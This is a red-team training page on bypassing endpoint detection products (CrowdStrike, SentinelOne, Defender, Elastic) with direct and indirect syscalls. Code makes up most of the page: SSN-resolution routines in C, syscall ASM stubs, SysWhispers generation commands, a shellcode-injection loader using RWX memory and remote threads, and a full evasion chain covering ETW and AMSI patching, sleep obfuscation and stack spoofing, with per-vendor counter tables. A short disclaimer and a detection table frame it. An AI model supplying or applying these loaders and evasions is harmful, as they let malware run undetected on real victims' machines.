6.2 Syscall Evasion Deep Dive
6.2 Syscall-Based Evasion — Deep Dive
BLUF: User-mode EDR hooks live in
ntdll.dll. Every hook is a JMP instruction the EDR vendor inserted at the top of a syscall wrapper. Direct syscalls skip those wrappers entirely — you emit the rawsyscallinstruction with the correct System Service Number yourself. Indirect syscalls go further: they preserve a legitimate call stack by jumping into ntdll's ownsyscallinstruction rather than emitting one in your code. This is the current gold standard for bypassing CrowdStrike Falcon, SentinelOne, and MDE behavioral detection.
Sections
- Why Syscalls Beat API Unhooking · 2. SSN Resolution — Hell's Gate / Halo's Gate / Tartarus Gate · 3. Direct Syscalls (SysWhispers2) · 4. Indirect Syscalls (SysWhispers3) · 5. Combining with Sleep Obfuscation · 6. Detection Surface & Countermeasures · 7. Lab Validation Procedure · 8. Quick-Reference Cheat Sheet
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
graph TB
Hook[EDR Hook in ntdll] --> |intercepts| API[Win32 API Call]
API --> |normal path| Kernel[Kernel]
Direct[Direct Syscall] --> |bypasses hook| Kernel
Indirect[Indirect Syscall] --> |JMP into ntdll stub| Syscall_Instr[syscall instruction in ntdll]
Syscall_Instr --> Kernel
Direct --> |call stack| BadStack[RIP outside ntdll — DETECTED]
Indirect --> |call stack| GoodStack[RIP inside ntdll — CLEAN]
style Hook fill:#cc0000,color:#ffffff
style BadStack fill:#ffaa00
style GoodStack fill:#006600,color:#ffffff
style Kernel fill:#0066cc,color:#ffffffMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1055 | Process Injection | Defense Evasion | Injecting without triggering hooked APIs |
| T1055.001 | DLL Injection | Defense Evasion | NtMapViewOfSection via indirect syscall |
| T1562.001 | Disable or Modify Tools | Defense Evasion | Bypassing EDR hooks via syscall layer |
| T1027.007 | Dynamic API Resolution | Defense Evasion | Runtime SSN resolution (Hell's Gate) |
| T1106 | Native API | Execution | Nt* function calls direct to kernel |
Section 1 — Why Syscalls Beat API Unhooking
Before direct syscalls, the standard approach was ntdll unhooking: read a clean copy of ntdll.dll from disk (or a suspended process), overwrite the hooked in-memory .text section with clean bytes. This works — but has two problems:
| Problem | Impact |
|---|---|
| Reading ntdll from disk is monitored | Minifilter drivers (EDR's kernel component) alert on C:\Windows\System32\ntdll.dll opens from suspicious processes |
| Unhooking is a one-time operation | If the EDR re-hooks after the fact (some do), you're back to square one |
| The unhook itself is a detectable pattern | CrowdStrike Falcon specifically hunts for .text section overwrites of system DLLs |
Direct syscalls avoid these problems entirely — you never touch the hooked functions. You resolve the SSN (the kernel's function ID number) at runtime, build a tiny ASM stub with mov eax, SSN; syscall; ret, and call the kernel directly. The EDR's JMP instruction in ntdll is never executed.
Indirect syscalls fix the one weakness of direct syscalls — the call stack. When you emit a syscall instruction in your own code, the return address in the call stack points into your shellcode region, which is not backed by any known DLL. CrowdStrike Falcon and Elastic EDR inspect call stacks on every syscall and flag exactly this. Indirect syscalls jump into ntdll's own syscall instruction, so the return address looks legitimate.
Section 2 — SSN Resolution Techniques
The System Service Number (SSN) is the integer argument to mov eax, SSN in every ntdll syscall stub. SSNs change between Windows versions and patch levels — you must resolve them at runtime, not hardcode them.
Hell's Gate (unhoooked functions)
// Hell's Gate: resolve SSN from an unhooked ntdll function stub
// The standard ntdll stub looks like:
// 4C 8B D1 mov r10, rcx
// B8 XX XX XX XX mov eax, <SSN>
// 0F 05 syscall
// C3 ret
//
// Find the function, check byte[0] == 0x4C (not hooked), read SSN from bytes[4:8]
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress; // ntdll function address
DWORD64 dwHash; // function name hash (for obfuscated lookup)
WORD wSystemCall; // resolved SSN
} VX_TABLE_ENTRY;
BOOL GetSyscallSSN(PVOID pFuncAddr, PWORD pSsn) {
PBYTE stub = (PBYTE)pFuncAddr;
// Check: is the first instruction 'mov r10, rcx' (0x4C 0x8B 0xD1)?
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1) {
// Next instruction: 'mov eax, SSN' (0xB8 followed by 4-byte SSN)
if (stub[3] == 0xB8) {
*pSsn = *(WORD*)(&stub[4]);
return TRUE;
}
}
return FALSE; // Function is hooked or unexpected format
}
Halo's Gate (hooked functions — check neighbours)
// When stub[0] == 0xE9 (JMP — function is hooked by EDR), the SSN is unavailable directly.
// EDRs hook functions in SSN order. Adjacent functions differ by exactly 1 in SSN.
// Solution: scan forward/backward through neighbouring stubs and derive the SSN.
BOOL GetSyscallSSN_HalosGate(PVOID pFuncAddr, PWORD pSsn) {
PBYTE stub = (PBYTE)pFuncAddr;
// Direct resolution first
if (stub[3] == 0xB8) {
*pSsn = *(WORD*)(&stub[4]);
return TRUE;
}
// Hooked — scan neighbours (each ntdll stub is 0x20 bytes apart)
for (int i = 1; i <= 500; i++) {
// Check neighbour above (lower SSN)
PBYTE above = stub - (i * 0x20);
if (above[3] == 0xB8) {
*pSsn = *(WORD*)(&above[4]) + i; // SSN = neighbour + offset
return TRUE;
}
// Check neighbour below (higher SSN)
PBYTE below = stub + (i * 0x20);
if (below[3] == 0xB8) {
*pSsn = *(WORD*)(&below[4]) - i; // SSN = neighbour - offset
return TRUE;
}
}
return FALSE;
}
Tartarus Gate (stubless — when even neighbours are hooked)
// Tartarus Gate: when the function AND its neighbours are all hooked,
// parse the EDR's JMP destination. The EDR's trampoline function often
// contains the original ntdll bytes at a different location.
// Also used when EDR uses inline patch (overwrites bytes 4–8) instead of JMP.
// Alternative: use a clean copy from KnownDlls (always a clean ntdll)
HANDLE hSection;
UNICODE_STRING uStr;
OBJECT_ATTRIBUTES oa;
// Open \KnownDlls\ntdll.dll section object (kernel maintains clean copies)
RtlInitUnicodeString(&uStr, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&oa, &uStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa);
// Map it into current process and read SSNs from the clean copy
// Avoids disk reads (minifilter-safe) and gets unhooked function bytes
Section 3 — Direct Syscalls (SysWhispers2 Style)
Direct syscalls embed the syscall instruction in your code. Fast, effective, but the call stack shows the syscall originated outside ntdll.
ASM Stub Structure
; NtAllocateVirtualMemory direct syscall stub
; Generated by SysWhispers2 / written manually for custom loaders
NtAllocateVirtualMemory PROC
mov [rsp + 8], rcx ; Save register home space
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 28h
mov ecx, 0FFFFFFFFh ; ProcessHandle = CURRENT_PROCESS (-1)
; --- SSN resolved at runtime and patched into this stub ---
mov eax, 18h ; SSN for NtAllocateVirtualMemory (example — Win10 22H2)
syscall ; Jump to kernel — bypasses ALL user-mode hooks
add rsp, 28h
ret
NtAllocateVirtualMemory ENDP
SysWhispers2 — Practical Integration
# Install SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2
# Generate syscall stubs for specific functions (only what you need)
python3 SysWhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,NtQueueApcThread,NtOpenProcess \
--out-file syscalls \
--arch x64
# Output: syscalls.h, syscalls.c, syscalls-asm.asm
# Include these in your Visual Studio project
# Link the .asm file as a MASM assembly source
// Usage in your loader after including syscalls.h:
#include "syscalls.h"
// Allocate memory in remote process — no hooked API touched
LPVOID lpBaseAddress = NULL;
SIZE_T regionSize = shellcodeLen;
NTSTATUS status = NtAllocateVirtualMemory(
hProcess,
&lpBaseAddress,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Write shellcode — no hooked API touched
SIZE_T bytesWritten;
NtWriteVirtualMemory(hProcess, lpBaseAddress, shellcode, shellcodeLen, &bytesWritten);
// Create thread — no hooked API touched
HANDLE hThread;
NtCreateThreadEx(
&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, lpBaseAddress, NULL,
FALSE, 0, 0, 0, NULL
);
OPSEC (direct syscall weakness): CrowdStrike Falcon 7.x+ performs call stack analysis on every syscall. When the kernel returns, Falcon checks the return address. If it points into a
[MEM_PRIVATE]or unbackedRWXregion rather than a known DLL — it flags immediately. This is why indirect syscalls are now the minimum bar for mature EDR environments.
Section 4 — Indirect Syscalls (SysWhispers3 Style)
Instead of emitting syscall in your code, you jump to the syscall instruction inside ntdll's own stub. The return address the kernel sees is inside ntdll — clean.
ASM Stub with JMP
; Indirect syscall stub — NtAllocateVirtualMemory
; pSyscallInstr must be resolved at runtime to the address of 'syscall' inside ntdll
extern pSyscallInstr: QWORD ; Global: address of 'syscall' instruction in ntdll
NtAllocateVirtualMemory PROC
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 28h
mov eax, 18h ; SSN — resolved at runtime
jmp QWORD PTR [pSyscallInstr] ; JMP into ntdll — return addr = inside ntdll
NtAllocateVirtualMemory ENDP
Resolving the Syscall Instruction Address
// Find the address of the 'syscall; ret' sequence inside any ntdll stub
// Use an unhooked function (e.g., NtClose) as the anchor
PVOID FindSyscallInstr(LPCSTR funcName) {
PBYTE stub = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
// Walk the stub looking for 0x0F 0x05 (syscall opcode)
for (int i = 0; i < 25; i++) {
if (stub[i] == 0x0F && stub[i+1] == 0x05) {
return (PVOID)(stub + i);
}
}
return NULL;
}
// Store globally:
PVOID pSyscallInstr = FindSyscallInstr("NtClose");
// NtClose is rarely hooked — safe anchor for indirect syscalls
SysWhispers3 — Practical Integration
# SysWhispers3 adds indirect syscall support over SysWhispers2
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
# Generate indirect syscall stubs
python3 SysWhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,NtQueueApcThread \
--out-file syscalls \
--arch x64 \
--syscall-instruction-type indirect # KEY: use 'jmp' instead of 'syscall'
# Additional options:
# --rand-seed <seed> Randomize stub layout (defeats static pattern matching)
# --verbose Show generated ASM for review
OPSEC: For Havoc's Demon agent and custom loaders, prefer inline indirect syscall stubs rather than the SysWhispers3
.asmfile approach — it reduces the DLL/EXE artifact footprint and makes the stubs harder to extract statically.
Section 5 — Combining with Sleep Obfuscation
Indirect syscalls solve the call stack problem during active API calls. But between check-ins, your beacon sits idle in memory. Sleep obfuscation closes the remaining detection window.
The stack during sleep:
- Before sleep obfuscation: beacon thread stack contains frames pointing into your shellcode region
- After sleep obfuscation (Ekko/Ziggurat): beacon thread stack is spoofed to look like a legitimate Windows thread waiting in
NtWaitForSingleObject
Recommended combination for mature EDR environments:
Indirect Syscalls (SysWhispers3)
+
Sleep Obfuscation (Ekko or Ziggurat)
+
Stack Spoofing (SilentMoonwalk or Ziggurat built-in)
+
PE Header Stomp (post-reflective-load, overwrite MZ magic)
This combination eliminates:
- Call stack telemetry (indirect syscalls + stack spoofing)
- Memory scanner detection (sleep obfuscation encrypts beacon at rest)
- Static PE header detection (stomp neutralizes memory scanners looking for MZ/PE)
See 6.3 Sleep Stack Evasion.md for detailed implementation of the sleep + stack side.
Section 6 — Detection Surface & Countermeasures
| Detection Mechanism | Triggered By | Mitigation |
|---|---|---|
| Call stack analysis (Falcon) | Direct syscall — RIP outside ntdll | Indirect syscalls (SysWhispers3) |
| SSN value anomaly | Wrong SSN for Windows version | Runtime Hell's Gate resolution |
| ASM stub signature (YARA) | Known SysWhispers byte patterns | Randomize stub layout (--rand-seed) |
| Kernel ETW callbacks | PsSetCreateProcessNotifyRoutine still fires |
ETW patch (EtwEventWrite → RET) first |
| Thread call stack at rest | Shellcode frames visible to memory scanner | Stack spoofing (SilentMoonwalk/Ziggurat) |
pSyscallInstr in memory |
Recognizable global pointer pattern | Resolve per-call, don't store globally |
EDR-specific notes:
| EDR | Primary Syscall Detection Method | Best Counter |
|---|---|---|
| CrowdStrike Falcon | Call stack return address inspection | Indirect syscalls + SilentMoonwalk |
| SentinelOne | Kernel ETW + call stack | Indirect syscalls + ETW patch |
| Microsoft Defender for Endpoint (MDE) | Memory integrity scanning + call stack | Indirect syscalls + PE header stomp |
| Elastic Defend | Kernel callbacks + memory scanner | Indirect syscalls + Ekko sleep obf |
| Carbon Black | API sequence behavioral | Avoid sequential VirtualAlloc→Write→Thread pattern; use APC injection |
Section 7 — Lab Validation Procedure
Goal: Confirm your syscall approach is actually invisible — don't assume, verify.
Step 1 — Lab Setup
VM 1 (Target): Windows 10/11 22H2 or later
CrowdStrike Falcon free trial OR Elastic Defend (free)
Sysmon v15+ with SwiftOnSecurity config
VM 2 (Attacker): Kali / Ubuntu
Sliver or Havoc C2
Your custom loader compiled with SysWhispers3
Step 2 — Baseline (no evasion)
# On target VM: run a standard msfvenom shellcode loader
# Check EDR console — note which alerts fire
# Common baseline alerts:
# - "Suspicious Process Creation" (CreateRemoteThread)
# - "Injection into system process"
# - "Syscall from unbacked memory" (direct syscall detection)
Step 3 — Test with Direct Syscalls
Expected: CrowdStrike / Elastic alert on "syscall from unbacked memory"
If no alert: direct syscall sufficient for this policy level
Step 4 — Test with Indirect Syscalls
Expected: No "syscall from unbacked memory" alert
Verify: Check Sysmon Event ID 8 (CreateRemoteThread) — should not appear
Check EDR telemetry — injection should be silent
Step 5 — Memory Scan Verification
# On target VM: run pe-sieve to simulate memory scanner
.\pe-sieve64.exe /pid <beacon_pid> /imp 3 /shellc 1
# If sleep obfuscation is active: pe-sieve should find nothing during sleep window
# If no sleep obfuscation: pe-sieve will find your shellcode and PE headers
Step 6 — Verify Call Stack
# During active tasking: check the beacon thread's call stack
# Use Process Hacker or WinDbg:
# !thread <thread_id>
# Legitimate-looking stack: should show ntdll → kernel32 frames
# Not: shellcode_region + 0x4a3 → ...
OPSEC: Always run validation in a lab that mirrors the exact EDR version and policy level of the target. A bypass that works against CrowdStrike Falcon at default policy may fail at "Aggressive" policy level. Policy level matters as much as the product name.
Section 8 — Quick-Reference Cheat Sheet
# 1. Generate SysWhispers3 indirect syscall stubs
git clone https://github.com/klezVirus/SysWhispers3 && cd SysWhispers3
python3 SysWhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,NtQueueApcThread,NtOpenProcess \
--out-file sw3 \
--arch x64 \
--syscall-instruction-type indirect
# 2. Include sw3.h, sw3.c, sw3-asm.asm in your loader project
# Set sw3-asm.asm → Build Action: MASM in Visual Studio
# 3. Hell's Gate SSN resolution pattern (C):
PBYTE stub = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
WORD ssn = 0;
if (stub[3] == 0xB8) ssn = *(WORD*)(&stub[4]); // Clean
else { /* Halo's Gate: scan neighbours ±0x20 */ }
# 4. Syscall instruction anchor (indirect):
PBYTE anchor = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtClose");
for (int i = 0; i < 25; i++) {
if (anchor[i] == 0x0F && anchor[i+1] == 0x05) {
pSyscallInstr = anchor + i; break;
}
}
# 5. Full evasion stack ordering:
# ETW patch → AMSI patch → unhook ntdll (Perun's Fart optional)
# → inject via indirect syscalls (SysWhispers3)
# → enable sleep obfuscation (Ekko/Ziggurat)
# → stomp PE header in injected region
Key tools:
| Tool | Purpose | Link |
|---|---|---|
| SysWhispers2 | Direct syscall stub generation | github.com/jthuraisamy/SysWhispers2 |
| SysWhispers3 | Indirect syscall stub generation | github.com/klezVirus/SysWhispers3 |
| Hell's Gate | SSN resolution reference impl | github.com/vxunderground/VXUG-Papers |
| RecycledGate | Combined Hell's + Halo's + Tartarus | github.com/thefLink/RecycledGate |
| CallStackSpoofer | Call stack spoofing | github.com/mgeeky/CallStackMasker |
| pe-sieve | Memory scanner for lab validation | github.com/hasherezade/pe-sieve |
Part of the Red Teaming 101 series. Parent: P6 — EDR Bypass & Evasion · See also: Sleep Obfuscation & Stack Spoofing